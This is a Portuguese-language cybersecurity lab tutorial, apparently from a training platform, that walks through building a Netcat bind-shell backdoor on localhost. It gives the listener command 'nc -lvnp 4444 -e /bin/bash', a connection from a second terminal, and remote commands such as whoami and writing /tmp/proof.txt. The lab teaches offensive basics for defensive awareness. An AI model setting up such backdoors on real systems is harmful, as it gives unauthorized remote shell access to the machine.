Construir um Backdoor em Netcat

Introdução

Neste laboratório, você aprenderá como criar um backdoor básico usando Netcat, uma utilidade de rede versátil. Um backdoor é um método de contornar a autenticação normal para obter acesso remoto a um computador. Você praticará a configuração de um listener em uma máquina simulada de "vítima" e a conexão a ela a partir de uma máquina simulada de "atacante" para executar comandos remotamente. Este laboratório demonstra conceitos fundamentais de rede usados em cibersegurança, fornecendo insights sobre técnicas ofensivas e conscientização defensiva.

Compreendendo o Netcat

Netcat (ou nc) é uma utilidade de linha de comando para ler e escrever em conexões de rede usando TCP ou UDP. É frequentemente chamado de "canivete suíço para TCP/IP" devido à sua versatilidade. Neste laboratório, o script de configuração já instalou uma versão do Netcat adequada ao nosso propósito.

Primeiro, vamos verificar se o Netcat está instalado e visualizar seu menu de ajuda. Isso nos mostrará as opções disponíveis.

Execute o seguinte comando no seu terminal:

nc -h

Você deverá ver uma lista de opções de comando. A saída será semelhante a esta (as versões podem variar):

[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
 -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
 -e filename  program to exec after connect [dangerous!!]
 -b   allow broadcasts
...

Preste muita atenção às opções -e e -c. A saída as marca explicitamente como "dangerous" (perigosas). Isso ocorre porque elas permitem que você execute um programa, como um shell de comando, e o conecte a uma porta de rede. Este é exatamente o recurso que usaremos para criar nosso backdoor. Entender por que os recursos de uma ferramenta são considerados perigosos é uma parte fundamental do aprendizado em cibersegurança.

Criando o Listener do Backdoor

Nesta etapa, você configurará um terminal para atuar como a máquina "vítima". Esta máquina executará um listener Netcat que aguarda uma conexão de entrada. Quando uma conexão for estabelecida, ela concederá à pessoa que se conectar um shell de comando, criando efetivamente um backdoor.

Usaremos a porta 4444 para este exercício. Portas são pontos de extremidade de comunicação que permitem que diferentes serviços em uma máquina sejam acessados através de uma rede.

No seu terminal atual, execute o seguinte comando para iniciar o listener:

nc -lvnp 4444 -e /bin/bash

Vamos detalhar este comando:

• -l: Coloca o Netcat em modo de escuta (listen mode), aguardando conexões de entrada.
• -v: Ativa o modo verboso (verbose mode), fornecendo mais detalhes sobre a conexão.
• -n: Diz ao Netcat para usar endereços IP numéricos em vez de resolver nomes de host, o que pode ser mais rápido.
• -p 4444: Especifica a porta a ser escutada, neste caso, a porta 4444.
• -e /bin/bash: Esta é a parte mais crítica. Ela diz ao Netcat para executar o programa /bin/bash (o shell Bash) e conectar sua entrada e saída ao socket de rede assim que um cliente se conectar.

Após executar o comando, seu terminal exibirá uma mensagem indicando que está escutando e, em seguida, parecerá travar. Isso é normal. Ele agora está aguardando uma conexão.

listening on [any] 4444 ...

Não feche este terminal. Chamaremos este de terminal da vítima. Você precisará abrir um novo terminal para a próxima etapa.

Conectando ao Backdoor

Agora você desempenhará o papel do "atacante". Você abrirá um novo terminal e usará o Netcat para se conectar ao listener que você iniciou na etapa anterior. Como tanto a "vítima" quanto o "atacante" estão na mesma máquina neste laboratório, você se conectará ao endereço IP do localhost, que é 127.0.0.1.

Primeiro, abra um novo terminal. Você pode fazer isso clicando com o botão direito na área do terminal e selecionando "Nova Aba" ou usando o atalho Ctrl+Shift+T. Chamaremos este novo terminal de terminal do atacante.

No novo terminal do atacante, execute o seguinte comando para se conectar ao listener:

nc 127.0.0.1 4444

Após executar este comando, você verá uma mensagem de conexão no terminal da vítima:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333

(O número da porta 33333 será uma porta aleatória de alto número)

Seu terminal do atacante agora terá um cursor piscando, mas sem um prompt. Isso ocorre porque você está agora dentro do shell Bash que está sendo executado no terminal da vítima. Você estabeleceu com sucesso um shell remoto. Qualquer comando que você digitar aqui será executado na máquina "vítima".

Executando Comandos Remotos

Você agora tem um shell remoto. Vamos testá-lo executando alguns comandos do terminal do atacante. Esses comandos serão executados no contexto do terminal da vítima.

No terminal do atacante, digite o seguinte comando e pressione Enter:

whoami

A saída será labex, que é a conta de usuário do shell da vítima.

labex

Agora, vamos descobrir o diretório de trabalho atual do shell remoto:

pwd

A saída mostrará o diretório home do usuário labex.

/home/labex/project

Para provar que você tem controle, vamos criar um arquivo no sistema "vítima". Execute este comando no terminal do atacante:

echo "Backdoor was here" > /tmp/proof.txt

Este comando cria um arquivo chamado proof.txt no diretório /tmp com algum texto dentro dele. Você não verá nenhuma saída.

Agora, vamos verificar se o arquivo foi criado. No terminal do atacante, leia o conteúdo do arquivo:

cat /tmp/proof.txt

Você deverá ver o texto que acabou de escrever:

Backdoor was here

Você executou com sucesso comandos remotamente e modificou o sistema de arquivos da vítima. Para encerrar a sessão, você pode pressionar Ctrl+C no terminal do atacante. Isso fechará a conexão, e o processo do listener Netcat no terminal da vítima também será encerrado.

Resumo

Neste laboratório, você aprendeu a criar e interagir com um backdoor simples usando Netcat. Você praticou a configuração de um listener em uma máquina "vítima" usando as flags -l, -p e -e para servir um shell de comando. Em seguida, você agiu como um "atacante" conectando-se a este listener de outro terminal e executando comandos remotamente.

Este exercício demonstra uma capacidade poderosa, embora perigosa, do Netcat. Compreender como tais ferramentas podem ser usadas para acesso não autorizado é uma habilidade fundamental em cibersegurança, ajudando você a reconhecer, prevenir e defender melhor contra ataques semelhantes no mundo real.